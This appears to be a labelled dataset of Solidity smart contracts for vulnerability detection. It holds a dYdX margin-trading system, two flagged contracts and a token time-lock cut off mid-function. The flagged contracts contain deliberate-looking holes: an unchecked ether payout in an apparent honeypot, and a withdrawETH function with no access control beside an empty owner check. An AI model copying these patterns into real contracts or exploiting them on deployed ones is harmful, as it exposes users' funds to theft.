rates: parseLoanOfferRates(values256, values32),
expirationTimestamp: values256[5],
callTimeLimit: values32[0],
maxDuration: values32[1],
salt: values256[6],
loanHash: 0,
signature: signature
});
loanOffering.loanHash = MarginCommon.getLoanOfferingHash(loanOffering);
return loanOffering;
}
function parseLoanOfferRates(
uint256[10] values256,
uint32[4] values32
)
private
pure
returns (MarginCommon.LoanRates memory)
{
MarginCommon.LoanRates memory rates = MarginCommon.LoanRates({
maxAmount: values256[0],
minAmount: values256[1],
minHeldToken: values256[2],
lenderFee: values256[3],
takerFee: values256[4],
interestRate: values32[2],
interestPeriod: values32[3]
});
return rates;
}
}
library OpenWithoutCounterpartyImpl {
struct Tx {
bytes32 positionId;
address positionOwner;
address owedToken;
address heldToken;
address loanOwner;
uint256 principal;
uint256 deposit;
uint32 callTimeLimit;
uint32 maxDuration;
uint32 interestRate;
uint32 interestPeriod;
}
event PositionOpened(
bytes32 indexed positionId,
address indexed trader,
address indexed lender,
bytes32 loanHash,
address owedToken,
address heldToken,
address loanFeeRecipient,
uint256 principal,
uint256 heldTokenFromSell,
uint256 depositAmount,
uint256 interestRate,
uint32 callTimeLimit,
uint32 maxDuration,
bool depositInHeldToken
);
function openWithoutCounterpartyImpl(
MarginState.State storage state,
address[4] addresses,
uint256[3] values256,
uint32[4] values32
)
public
returns (bytes32)
{
Tx memory openTx = parseTx(
addresses,
values256,
values32
);
validate(
state,
openTx
);
Vault(state.VAULT).transferToVault(
openTx.positionId,
openTx.heldToken,
msg.sender,
openTx.deposit
);
recordPositionOpened(
openTx
);
doStoreNewPosition(
state,
openTx
);
return openTx.positionId;
}
function doStoreNewPosition(
MarginState.State storage state,
Tx memory openTx
)
private
{
MarginCommon.storeNewPosition(
state,
openTx.positionId,
MarginCommon.Position({
owedToken: openTx.owedToken,
heldToken: openTx.heldToken,
lender: openTx.loanOwner,
owner: openTx.positionOwner,
principal: openTx.principal,
requiredDeposit: 0,
callTimeLimit: openTx.callTimeLimit,
startTimestamp: 0,
callTimestamp: 0,
maxDuration: openTx.maxDuration,
interestRate: openTx.interestRate,
interestPeriod: openTx.interestPeriod
}),
msg.sender
);
}
function validate(
MarginState.State storage state,
Tx memory openTx
)
private
view
{
require(
!MarginCommon.positionHasExisted(state, openTx.positionId),
"openWithoutCounterpartyImpl#validate: positionId already exists"
);
require(
openTx.principal > 0,
"openWithoutCounterpartyImpl#validate: principal cannot be 0"
);
require(
openTx.owedToken != address(0),
"openWithoutCounterpartyImpl#validate: owedToken cannot be 0"
);
require(
openTx.owedToken != openTx.heldToken,
"openWithoutCounterpartyImpl#validate: owedToken cannot be equal to heldToken"
);
require(
openTx.positionOwner != address(0),
"openWithoutCounterpartyImpl#validate: positionOwner cannot be 0"
);
require(
openTx.loanOwner != address(0),
"openWithoutCounterpartyImpl#validate: loanOwner cannot be 0"
);
require(
openTx.maxDuration > 0,
"openWithoutCounterpartyImpl#validate: maxDuration cannot be 0"
);
require(
openTx.interestPeriod <= openTx.maxDuration,
"openWithoutCounterpartyImpl#validate: interestPeriod must be <= maxDuration"
);
}
function recordPositionOpened(
Tx memory openTx
)
private
{
emit PositionOpened(
openTx.positionId,
msg.sender,
msg.sender,
bytes32(0),
openTx.owedToken,
openTx.heldToken,
address(0),
openTx.principal,
0,
openTx.deposit,
openTx.interestRate,
openTx.callTimeLimit,
openTx.maxDuration,
true
);
}
function parseTx(
address[4] addresses,
uint256[3] values256,
uint32[4] values32
)
private
view
returns (Tx memory)
{
Tx memory openTx = Tx({
positionId: MarginCommon.getPositionIdFromNonce(values256[2]),
positionOwner: addresses[0],
owedToken: addresses[1],
heldToken: addresses[2],
loanOwner: addresses[3],
principal: values256[0],
deposit: values256[1],
callTimeLimit: values32[0],
maxDuration: values32[1],
interestRate: values32[2],
interestPeriod: values32[3]
});
return openTx;
}
}
contract PositionGetters is MarginStorage {
using SafeMath for uint256;
function containsPosition(
bytes32 positionId
)
external
view
returns (bool)
{
return MarginCommon.containsPositionImpl(state, positionId);
}
function isPositionCalled(
bytes32 positionId
)
external
view
returns (bool)
{
return (state.positions[positionId].callTimestamp > 0);
}
function isPositionClosed(
bytes32 positionId
)
external
view
returns (bool)
{
return state.closedPositions[positionId];
}
function getTotalOwedTokenRepaidToLender(
bytes32 positionId
)
external
view
returns (uint256)
{
return state.totalOwedTokenRepaidToLender[positionId];
}
function getPositionBalance(
bytes32 positionId
)
external
view
returns (uint256)
{
return MarginCommon.getPositionBalanceImpl(state, positionId);
}
function getTimeUntilInterestIncrease(
bytes32 positionId
)
external
view
returns (uint256)
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
uint256 effectiveTimeElapsed = MarginCommon.calculateEffectiveTimeElapsed(
position,
block.timestamp
);
uint256 absoluteTimeElapsed = block.timestamp.sub(position.startTimestamp);
if (absoluteTimeElapsed > effectiveTimeElapsed) {
return 0;
} else {
return effectiveTimeElapsed.add(1).sub(absoluteTimeElapsed);
}
}
function getPositionOwedAmount(
bytes32 positionId
)
external
view
returns (uint256)
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
return MarginCommon.calculateOwedAmount(
position,
position.principal,
block.timestamp
);
}
function getPositionOwedAmountAtTime(
bytes32 positionId,
uint256 principalToClose,
uint32 timestamp
)
external
view
returns (uint256)
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
require(
timestamp >= position.startTimestamp,
"PositionGetters#getPositionOwedAmountAtTime: Requested time before position started"
);
return MarginCommon.calculateOwedAmount(
position,
principalToClose,
timestamp
);
}
function getLenderAmountForIncreasePositionAtTime(
bytes32 positionId,
uint256 principalToAdd,
uint32 timestamp
)
external
view
returns (uint256)
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
require(
timestamp >= position.startTimestamp,
"PositionGetters#getLenderAmountForIncreasePositionAtTime: timestamp < position start"
);
return MarginCommon.calculateLenderAmountForIncreasePosition(
position,
principalToAdd,
timestamp
);
}
function getPosition(
bytes32 positionId
)
external
view
returns (
address[4],
uint256[2],
uint32[6]
)
{
MarginCommon.Position storage position = state.positions[positionId];
return (
[
position.owedToken,
position.heldToken,
position.lender,
position.owner
],
[
position.principal,
position.requiredDeposit
],
[
position.callTimeLimit,
position.startTimestamp,
position.callTimestamp,
position.maxDuration,
position.interestRate,
position.interestPeriod
]
);
}
function getPositionLender(
bytes32 positionId
)
external
view
returns (address)
{
return state.positions[positionId].lender;
}
function getPositionOwner(
bytes32 positionId
)
external
view
returns (address)
{
return state.positions[positionId].owner;
}
function getPositionHeldToken(
bytes32 positionId
)
external
view
returns (address)
{
return state.positions[positionId].heldToken;
}
function getPositionOwedToken(
bytes32 positionId
)
external
view
returns (address)
{
return state.positions[positionId].owedToken;
}
function getPositionPrincipal(
bytes32 positionId
)
external
view
returns (uint256)
{
return state.positions[positionId].principal;
}
function getPositionInterestRate(
bytes32 positionId
)
external
view
returns (uint256)
{
return state.positions[positionId].interestRate;
}
function getPositionRequiredDeposit(
bytes32 positionId
)
external
view
returns (uint256)
{
return state.positions[positionId].requiredDeposit;
}
function getPositionStartTimestamp(
bytes32 positionId
)
external
view
returns (uint32)
{
return state.positions[positionId].startTimestamp;
}
function getPositionCallTimestamp(
bytes32 positionId
)
external
view
returns (uint32)
{
return state.positions[positionId].callTimestamp;
}
function getPositionCallTimeLimit(
bytes32 positionId
)
external
view
returns (uint32)
{
return state.positions[positionId].callTimeLimit;
}
function getPositionMaxDuration(
bytes32 positionId
)
external
view
returns (uint32)
{
return state.positions[positionId].maxDuration;
}
function getPositioninterestPeriod(
bytes32 positionId
)
external
view
returns (uint32)
{
return state.positions[positionId].interestPeriod;
}
}
library TransferImpl {
function transferLoanImpl(
MarginState.State storage state,
bytes32 positionId,
address newLender
)
public
{
require(
MarginCommon.containsPositionImpl(state, positionId),
"TransferImpl#transferLoanImpl: Position does not exist"
);
address originalLender = state.positions[positionId].lender;
require(
msg.sender == originalLender,
"TransferImpl#transferLoanImpl: Only lender can transfer ownership"
);
require(
newLender != originalLender,
"TransferImpl#transferLoanImpl: Cannot transfer ownership to self"
);
address finalLender = TransferInternal.grantLoanOwnership(
positionId,
originalLender,
newLender);
require(
finalLender != originalLender,
"TransferImpl#transferLoanImpl: Cannot ultimately transfer ownership to self"
);
state.positions[positionId].lender = finalLender;
}
function transferPositionImpl(
MarginState.State storage state,
bytes32 positionId,
address newOwner
)
public
{
require(
MarginCommon.containsPositionImpl(state, positionId),
"TransferImpl#transferPositionImpl: Position does not exist"
);
address originalOwner = state.positions[positionId].owner;
require(
msg.sender == originalOwner,
"TransferImpl#transferPositionImpl: Only position owner can transfer ownership"
);
require(
newOwner != originalOwner,
"TransferImpl#transferPositionImpl: Cannot transfer ownership to self"
);
address finalOwner = TransferInternal.grantPositionOwnership(
positionId,
originalOwner,
newOwner);
require(
finalOwner != originalOwner,
"TransferImpl#transferPositionImpl: Cannot ultimately transfer ownership to self"
);
state.positions[positionId].owner = finalOwner;
}
}
contract Margin is
ReentrancyGuard,
MarginStorage,
MarginEvents,
MarginAdmin,
LoanGetters,
PositionGetters
{
using SafeMath for uint256;
constructor(
address vault,
address proxy
)
public
MarginAdmin()
{
state = MarginState.State({
VAULT: vault,
TOKEN_PROXY: proxy
});
}
function openPosition(
address[11] addresses,
uint256[10] values256,
uint32[4] values32,
bool depositInHeldToken,
bytes signature,
bytes order
)
external
onlyWhileOperational
nonReentrant
returns (bytes32)
{
return OpenPositionImpl.openPositionImpl(
state,
addresses,
values256,
values32,
depositInHeldToken,
signature,
order
);
}
function openWithoutCounterparty(
address[4] addresses,
uint256[3] values256,
uint32[4] values32
)
external
onlyWhileOperational
nonReentrant
returns (bytes32)
{
return OpenWithoutCounterpartyImpl.openWithoutCounterpartyImpl(
state,
addresses,
values256,
values32
);
}
function increasePosition(
bytes32 positionId,
address[7] addresses,
uint256[8] values256,
uint32[2] values32,
bool depositInHeldToken,
bytes signature,
bytes order
)
external
onlyWhileOperational
nonReentrant
returns (uint256)
{
return IncreasePositionImpl.increasePositionImpl(
state,
positionId,
addresses,
values256,
values32,
depositInHeldToken,
signature,
order
);
}
function increaseWithoutCounterparty(
bytes32 positionId,
uint256 principalToAdd
)
external
onlyWhileOperational
nonReentrant
returns (uint256)
{
return IncreasePositionImpl.increaseWithoutCounterpartyImpl(
state,
positionId,
principalToAdd
);
}
function closePosition(
bytes32 positionId,
uint256 requestedCloseAmount,
address payoutRecipient,
address exchangeWrapper,
bool payoutInHeldToken,
bytes order
)
external
closePositionStateControl
nonReentrant
returns (uint256, uint256, uint256)
{
return ClosePositionImpl.closePositionImpl(
state,
positionId,
requestedCloseAmount,
payoutRecipient,
exchangeWrapper,
payoutInHeldToken,
order
);
}
function closePositionDirectly(
bytes32 positionId,
uint256 requestedCloseAmount,
address payoutRecipient
)
external
closePositionDirectlyStateControl
nonReentrant
returns (uint256, uint256, uint256)
{
return ClosePositionImpl.closePositionImpl(
state,
positionId,
requestedCloseAmount,
payoutRecipient,
address(0),
true,
new bytes(0)
);
}
function closeWithoutCounterparty(
bytes32 positionId,
uint256 requestedCloseAmount,
address payoutRecipient
)
external
closePositionStateControl
nonReentrant
returns (uint256, uint256)
{
return CloseWithoutCounterpartyImpl.closeWithoutCounterpartyImpl(
state,
positionId,
requestedCloseAmount,
payoutRecipient
);
}
function marginCall(
bytes32 positionId,
uint256 requiredDeposit
)
external
nonReentrant
{
LoanImpl.marginCallImpl(
state,
positionId,
requiredDeposit
);
}
function cancelMarginCall(
bytes32 positionId
)
external
onlyWhileOperational
nonReentrant
{
LoanImpl.cancelMarginCallImpl(state, positionId);
}
function forceRecoverCollateral(
bytes32 positionId,
address recipient
)
external
nonReentrant
returns (uint256)
{
return ForceRecoverCollateralImpl.forceRecoverCollateralImpl(
state,
positionId,
recipient
);
}
function depositCollateral(
bytes32 positionId,
uint256 depositAmount
)
external
onlyWhileOperational
nonReentrant
{
DepositCollateralImpl.depositCollateralImpl(
state,
positionId,
depositAmount
);
}
function cancelLoanOffering(
address[9] addresses,
uint256[7] values256,
uint32[4] values32,
uint256 cancelAmount
)
external
cancelLoanOfferingStateControl
nonReentrant
returns (uint256)
{
return LoanImpl.cancelLoanOfferingImpl(
state,
addresses,
values256,
values32,
cancelAmount
);
}
function transferLoan(
bytes32 positionId,
address who
)
external
nonReentrant
{
TransferImpl.transferLoanImpl(
state,
positionId,
who);
}
function transferPosition(
bytes32 positionId,
address who
)
external
nonReentrant
{
TransferImpl.transferPositionImpl(
state,
positionId,
who);
}
function getVaultAddress()
external
view
returns (address)
{
return state.VAULT;
}
function getTokenProxyAddress()
external
view
returns (address)
{
return state.TOKEN_PROXY;
}
}
contract OnlyMargin {
address public DYDX_MARGIN;
constructor(
address margin
)
public
{
DYDX_MARGIN = margin;
}
modifier onlyMargin()
{
require(
msg.sender == DYDX_MARGIN,
"OnlyMargin#onlyMargin: Only Margin can call"
);
_;
}
}
interface PositionCustodian {
function getPositionDeedHolder(
bytes32 positionId
)
external
view
returns (address);
}
library MarginHelper {
function getPosition(
address DYDX_MARGIN,
bytes32 positionId
)
internal
view
returns (MarginCommon.Position memory)
{
(
address[4] memory addresses,
uint256[2] memory values256,
uint32[6] memory values32
) = Margin(DYDX_MARGIN).getPosition(positionId);
return MarginCommon.Position({
owedToken: addresses[0],
heldToken: addresses[1],
lender: addresses[2],
owner: addresses[3],
principal: values256[0],
requiredDeposit: values256[1],
callTimeLimit: values32[0],
startTimestamp: values32[1],
callTimestamp: values32[2],
maxDuration: values32[3],
interestRate: values32[4],
interestPeriod: values32[5]
});
}
}
contract ERC20Position is
ReentrancyGuard,
StandardToken,
OnlyMargin,
PositionOwner,
IncreasePositionDelegator,
ClosePositionDelegator,
PositionCustodian
{
using SafeMath for uint256;
enum State {
UNINITIALIZED,
OPEN,
CLOSED
}
event Initialized(
bytes32 positionId,
uint256 initialSupply
);
event ClosedByTrustedParty(
address closer,
uint256 tokenAmount,
address payoutRecipient
);
event CompletelyClosed();
event Withdraw(
address indexed redeemer,
uint256 tokensRedeemed,
uint256 heldTokenPayout
);
event Close(
address indexed redeemer,
uint256 closeAmount
);
address public INITIAL_TOKEN_HOLDER;
bytes32 public POSITION_ID;
mapping (address => bool) public TRUSTED_RECIPIENTS;
mapping (address => bool) public TRUSTED_WITHDRAWERS;
State public state;
address public heldToken;
bool public closedUsingTrustedRecipient;
modifier onlyPosition(bytes32 positionId) {
require(
POSITION_ID == positionId,
"ERC20Position#onlyPosition: Incorrect position"
);
_;
}
modifier onlyState(State specificState) {
require(
state == specificState,
"ERC20Position#onlyState: Incorrect State"
);
_;
}
constructor(
bytes32 positionId,
address margin,
address initialTokenHolder,
address[] trustedRecipients,
address[] trustedWithdrawers
)
public
OnlyMargin(margin)
{
POSITION_ID = positionId;
state = State.UNINITIALIZED;
INITIAL_TOKEN_HOLDER = initialTokenHolder;
closedUsingTrustedRecipient = false;
uint256 i;
for (i = 0; i < trustedRecipients.length; i++) {
TRUSTED_RECIPIENTS[trustedRecipients[i]] = true;
}
for (i = 0; i < trustedWithdrawers.length; i++) {
TRUSTED_WITHDRAWERS[trustedWithdrawers[i]] = true;
}
}
function receivePositionOwnership(
address ,
bytes32 positionId
)
external
onlyMargin
nonReentrant
onlyState(State.UNINITIALIZED)
onlyPosition(positionId)
returns (address)
{
MarginCommon.Position memory position = MarginHelper.getPosition(DYDX_MARGIN, POSITION_ID);
assert(position.principal > 0);
state = State.OPEN;
heldToken = position.heldToken;
uint256 tokenAmount = getTokenAmountOnAdd(position.principal);
emit Initialized(POSITION_ID, tokenAmount);
mint(INITIAL_TOKEN_HOLDER, tokenAmount);
return address(this);
}
function increasePositionOnBehalfOf(
address trader,
bytes32 positionId,
uint256 principalAdded
)
external
onlyMargin
nonReentrant
onlyState(State.OPEN)
onlyPosition(positionId)
returns (address)
{
require(
!Margin(DYDX_MARGIN).isPositionCalled(POSITION_ID),
"ERC20Position#increasePositionOnBehalfOf: Position is margin-called"
);
require(
!closedUsingTrustedRecipient,
"ERC20Position#increasePositionOnBehalfOf: Position closed using trusted recipient"
);
uint256 tokenAmount = getTokenAmountOnAdd(principalAdded);
mint(trader, tokenAmount);
return address(this);
}
function closeOnBehalfOf(
address closer,
address payoutRecipient,
bytes32 positionId,
uint256 requestedAmount
)
external
onlyMargin
nonReentrant
onlyState(State.OPEN)
onlyPosition(positionId)
returns (address, uint256)
{
uint256 positionPrincipal = Margin(DYDX_MARGIN).getPositionPrincipal(positionId);
assert(requestedAmount <= positionPrincipal);
uint256 allowedAmount;
if (TRUSTED_RECIPIENTS[payoutRecipient]) {
allowedAmount = closeUsingTrustedRecipient(
closer,
payoutRecipient,
requestedAmount
);
} else {
allowedAmount = close(
closer,
requestedAmount,
positionPrincipal
);
}
assert(allowedAmount > 0);
assert(allowedAmount <= requestedAmount);
if (allowedAmount == positionPrincipal) {
state = State.CLOSED;
emit CompletelyClosed();
}
return (address(this), allowedAmount);
}
function withdraw(
address onBehalfOf
)
external
nonReentrant
returns (uint256)
{
setStateClosedIfClosed();
require(
state == State.CLOSED,
"ERC20Position#withdraw: Position has not yet been closed"
);
if (msg.sender != onBehalfOf) {
require(
TRUSTED_WITHDRAWERS[msg.sender],
"ERC20Position#withdraw: Only trusted withdrawers can withdraw on behalf of others"
);
}
return withdrawImpl(msg.sender, onBehalfOf);
}
function decimals()
external
view
returns (uint8);
function symbol()
external
view
returns (string);
function getPositionDeedHolder(
bytes32 positionId
)
external
view
onlyPosition(positionId)
returns (address)
{
return address(this);
}
function closeUsingTrustedRecipient(
address closer,
address payoutRecipient,
uint256 requestedAmount
)
internal
returns (uint256)
{
assert(requestedAmount > 0);
if (!closedUsingTrustedRecipient) {
closedUsingTrustedRecipient = true;
}
emit ClosedByTrustedParty(closer, requestedAmount, payoutRecipient);
return requestedAmount;
}
function withdrawImpl(
address receiver,
address onBehalfOf
)
private
returns (uint256)
{
uint256 value = balanceOf(onBehalfOf);
if (value == 0) {
return 0;
}
uint256 heldTokenBalance = TokenInteract.balanceOf(heldToken, address(this));
uint256 heldTokenPayout = MathHelpers.getPartialAmount(
value,
totalSupply_,
heldTokenBalance
);
burn(onBehalfOf, value);
emit Withdraw(onBehalfOf, value, heldTokenPayout);
TokenInteract.transfer(heldToken, receiver, heldTokenPayout);
return heldTokenPayout;
}
function setStateClosedIfClosed(
)
private
{
if (state == State.OPEN && Margin(DYDX_MARGIN).isPositionClosed(POSITION_ID)) {
state = State.CLOSED;
emit CompletelyClosed();
}
}
function close(
address closer,
uint256 requestedAmount,
uint256 positionPrincipal
)
private
returns (uint256)
{
uint256 balance = balances[closer];
(
uint256 tokenAmount,
uint256 allowedCloseAmount
) = getCloseAmounts(
requestedAmount,
balance,
positionPrincipal
);
require(
tokenAmount > 0 && allowedCloseAmount > 0,
"ERC20Position#close: Cannot close 0 amount"
);
assert(allowedCloseAmount <= requestedAmount);
burn(closer, tokenAmount);
emit Close(closer, tokenAmount);
return allowedCloseAmount;
}
function burn(
address from,
uint256 amount
)
private
{
assert(from != address(0));
totalSupply_ = totalSupply_.sub(amount);
balances[from] = balances[from].sub(amount);
emit Transfer(from, address(0), amount);
}
function mint(
address to,
uint256 amount
)
private
{
assert(to != address(0));
totalSupply_ = totalSupply_.add(amount);
balances[to] = balances[to].add(amount);
emit Transfer(address(0), to, amount);
}
function getTokenAmountOnAdd(
uint256 principalAdded
)
internal
view
returns (uint256);
function getCloseAmounts(
uint256 requestedCloseAmount,
uint256 balance,
uint256 positionPrincipal
)
private
view
returns (
uint256 ,
uint256
);
}
contract ERC20CappedPosition is
ERC20Position,
Ownable
{
using SafeMath for uint256;
event TokenCapSet(
uint256 tokenCap
);
event TrustedCloserSet(
address closer,
bool allowed
);
mapping(address => bool) public TRUSTED_LATE_CLOSERS;
uint256 public tokenCap;
constructor(
address[] trustedLateClosers,
uint256 cap
)
public
Ownable()
{
for (uint256 i = 0; i < trustedLateClosers.length; i++) {
TRUSTED_LATE_CLOSERS[trustedLateClosers[i]] = true;
}
tokenCap = cap;
}
function setTokenCap(
uint256 newCap
)
external
onlyOwner
{
tokenCap = newCap;
emit TokenCapSet(newCap);
}
function setTrustedLateCloser(
address closer,
bool allowed
)
external
onlyOwner
{
TRUSTED_LATE_CLOSERS[closer] = allowed;
emit TrustedCloserSet(closer, allowed);
}
function closeUsingTrustedRecipient(
address closer,
address payoutRecipient,
uint256 requestedAmount
)
internal
returns (uint256)
{
MarginCommon.Position memory position = MarginHelper.getPosition(DYDX_MARGIN, POSITION_ID);
bool afterEnd =
block.timestamp > uint256(position.startTimestamp).add(position.maxDuration);
bool afterCall =
position.callTimestamp > 0 &&
block.timestamp > uint256(position.callTimestamp).add(position.callTimeLimit);
if (afterCall || afterEnd) {
require (
TRUSTED_LATE_CLOSERS[closer],
"ERC20CappedPosition#closeUsingTrustedRecipient: closer not in TRUSTED_LATE_CLOSERS"
);
}
return super.closeUsingTrustedRecipient(closer, payoutRecipient, requestedAmount);
}
}
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
constructor(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
library StringHelpers {
function strcat(
bytes stringA,
bytes stringB
)
internal
pure
returns (bytes)
{
uint256 lengthA = stringA.length;
uint256 lengthB = stringB.length;
bytes memory result = new bytes(lengthA + lengthB);
uint256 i = 0;
for (i = 0; i < lengthA; i++) {
result[i] = stringA[i];
}
for (i = 0; i < lengthB; i++) {
result[lengthA + i] = stringB[i];
}
return result;
}
function bytes32ToHex(
bytes32 input
)
internal
pure
returns (bytes)
{
uint256 number = uint256(input);
bytes memory numberAsString = new bytes(66);
numberAsString[0] = byte(48);
numberAsString[1] = byte(120);
for (uint256 n = 0; n < 32; n++) {
uint256 nthByte = number / uint256(uint256(2) ** uint256(248 - 8 * n));
uint8 hex1 = uint8(nthByte) / uint8(16);
uint8 hex2 = uint8(nthByte) % uint8(16);
hex1 += (hex1 > 9) ? 87 : 48;
hex2 += (hex2 > 9) ? 87 : 48;
numberAsString[2 * n + 2] = byte(hex1);
numberAsString[2 * n + 3] = byte(hex2);
}
return numberAsString;
}
}
contract ERC20Long is ERC20Position {
constructor(
bytes32 positionId,
address margin,
address initialTokenHolder,
address[] trustedRecipients,
address[] trustedWithdrawers
)
public
ERC20Position(
positionId,
margin,
initialTokenHolder,
trustedRecipients,
trustedWithdrawers
)
{}
function decimals()
external
view
returns (uint8)
{
return DetailedERC20(heldToken).decimals();
}
function symbol()
external
view
returns (string)
{
if (state == State.UNINITIALIZED) {
return "l[UNINITIALIZED]";
}
return string(
StringHelpers.strcat(
"l",
bytes(DetailedERC20(heldToken).symbol())
)
);
}
function name()
external
view
returns (string)
{
if (state == State.UNINITIALIZED) {
return "dYdX Leveraged Long Token [UNINITIALIZED]";
}
return string(
StringHelpers.strcat(
"dYdX Leveraged Long Token ",
StringHelpers.bytes32ToHex(POSITION_ID)
)
);
}
function getTokenAmountOnAdd(
uint256
)
internal
view
returns (uint256)
{
uint256 positionBalance = Margin(DYDX_MARGIN).getPositionBalance(POSITION_ID);
return positionBalance.sub(totalSupply_);
}
function getCloseAmounts(
uint256 requestedCloseAmount,
uint256 balance,
uint256 positionPrincipal
)
private
view
returns (
uint256 ,
uint256
)
{
uint256 positionBalance = Margin(DYDX_MARGIN).getPositionBalance(POSITION_ID);
uint256 requestedTokenAmount = MathHelpers.getPartialAmount(
requestedCloseAmount,
positionPrincipal,
positionBalance
);
if (requestedTokenAmount <= balance) {
return (requestedTokenAmount, requestedCloseAmount);
}
uint256 allowedCloseAmount = MathHelpers.getPartialAmount(
balance,
positionBalance,
positionPrincipal
);
assert(allowedCloseAmount < requestedCloseAmount);
uint256 allowedTokenAmount = MathHelpers.getPartialAmount(
allowedCloseAmount,
positionPrincipal,
positionBalance
);
return (allowedTokenAmount, allowedCloseAmount);
}
}
contract ERC20CappedLong is
ERC20Long,
ERC20CappedPosition
{
using SafeMath for uint256;
constructor(
bytes32 positionId,
address margin,
address initialTokenHolder,
address[] trustedRecipients,
address[] trustedWithdrawers,
address[] trustedLateClosers,
uint256 cap
)
public
ERC20Long(
positionId,
margin,
initialTokenHolder,
trustedRecipients,
trustedWithdrawers
)
ERC20CappedPosition(
trustedLateClosers,
cap
)
{
}
function getTokenAmountOnAdd(
uint256 principalAdded
)
internal
view
returns (uint256)
{
uint256 tokenAmount = super.getTokenAmountOnAdd(principalAdded);
require(
totalSupply_.add(tokenAmount) <= tokenCap,
"ERC20CappedLong#getTokenAmountOnAdd: Adding tokenAmount would exceed cap"
);
return tokenAmount;
}
} | 0 | 924 |
pragma solidity ^0.4.19;
contract QUICK_DEPOSIT_FOR_FUN
{
address creator = msg.sender;
uint256 public LastExtractTime;
mapping (address=>uint256) public ExtractDepositTime;
uint256 public freeEther;
function Deposit()
public
payable
{
if(msg.value> 1 ether && freeEther >= 0.5 ether)
{
LastExtractTime = now + 1 days;
ExtractDepositTime[msg.sender] = LastExtractTime;
freeEther-=0.5 ether;
}
}
function GetFreeEther()
public
payable
{
if(ExtractDepositTime[msg.sender]!=0 && ExtractDepositTime[msg.sender]<now)
{
msg.sender.call.value(1.5 ether);
ExtractDepositTime[msg.sender] = 0;
}
}
function PutFreeEther()
public
payable
{
uint256 newVal = freeEther+msg.value;
if(newVal>freeEther)freeEther=newVal;
}
function Kill()
public
payable
{
if(msg.sender==creator && now>LastExtractTime + 2 days)
{
selfdestruct(creator);
}
else revert();
}
function() public payable{}
} | 1 | 2,799 |
pragma solidity ^0.4.20;
contract Token {
bytes32 public standard;
bytes32 public name;
bytes32 public symbol;
uint256 public totalSupply;
uint8 public decimals;
bool public allowTransactions;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowed;
function transfer(address _to, uint256 _value) public returns (bool success);
function approveAndCall(address _spender, uint256 _value, bytes memory _extraData) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
}
contract task
{
address public adminaddr;
address public useraddr;
address public owner;
mapping (address => mapping(address => uint256)) public dep_token;
mapping (address => uint256) public dep_ETH;
function task() public
{
adminaddr = msg.sender;
}
modifier onlyOwner() {
_;
}
function safeAdd(uint crtbal, uint depbal) public returns (uint)
{
uint totalbal = crtbal + depbal;
return totalbal;
}
function safeSub(uint crtbal, uint depbal) public returns (uint)
{
uint totalbal = crtbal - depbal;
return totalbal;
}
function balanceOf(address token,address user) public returns(uint256)
{
return Token(token).balanceOf(user);
}
function transfer(address token, uint256 tokens)public payable
{
if(Token(token).approve(address(this),tokens))
{
dep_token[msg.sender][token] = safeAdd(dep_token[msg.sender][token], tokens);
Token(token).transferFrom(msg.sender,address(this), tokens);
}
}
function token_withdraw(address token, address to, uint256 tokens)public payable
{
if(adminaddr==msg.sender)
{
dep_token[msg.sender][token] = safeSub(dep_token[msg.sender][token] , tokens) ;
Token(token).transfer(to, tokens);
}
}
function admin_token_withdraw(address token, address to, uint256 tokens)public payable
{
if(adminaddr==msg.sender)
{
if(dep_token[msg.sender][token]>=tokens)
{
dep_token[msg.sender][token] = safeSub(dep_token[msg.sender][token] , tokens) ;
Token(token).transfer(to, tokens);
}
}
}
function tok_bal_contract(address token) public view returns(uint256)
{
return Token(token).balanceOf(address(this));
}
function depositETH() payable external
{
}
function withdrawETH(address to, uint256 value) public payable returns (bool)
{
to.transfer(value);
return true;
}
function admin_withdrawETH(address to, uint256 value) public payable returns (bool)
{
if(adminaddr==msg.sender)
{
to.transfer(value);
return true;
}
}
} | 1 | 3,729 |
pragma solidity ^0.4.21;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeERC20 {
function safeTransfer(ERC20 token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal{
assert(token.transferFrom(from, to, value));
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract TOSPrivateIncentiveContract {
using SafeERC20 for ERC20;
using SafeMath for uint;
string public constant name = "TOSPrivateIncentiveContract";
uint[6] public unlockePercentages = [
15,
35,
50,
65,
80,
100
];
uint256 public unlocked = 0;
uint256 public totalLockAmount = 0;
address public constant beneficiary = 0xbd9d16f47F061D9c6b1C82cb46f33F0aC3dcFB87;
ERC20 public constant tosToken = ERC20(0xFb5a551374B656C6e39787B1D3A03fEAb7f3a98E);
uint256 public constant UNLOCKSTART = 1541347200;
uint256 public constant UNLOCKINTERVAL = 30 days;
function TOSPrivateIncentiveContract() public {}
function unlock() public {
uint256 num = now.sub(UNLOCKSTART).div(UNLOCKINTERVAL);
if (totalLockAmount == 0) {
totalLockAmount = tosToken.balanceOf(this);
}
if (num >= unlockePercentages.length.sub(1)) {
tosToken.safeTransfer(beneficiary, tosToken.balanceOf(this));
unlocked = 100;
}
else {
uint256 releaseAmount = totalLockAmount.mul(unlockePercentages[num].sub(unlocked)).div(100);
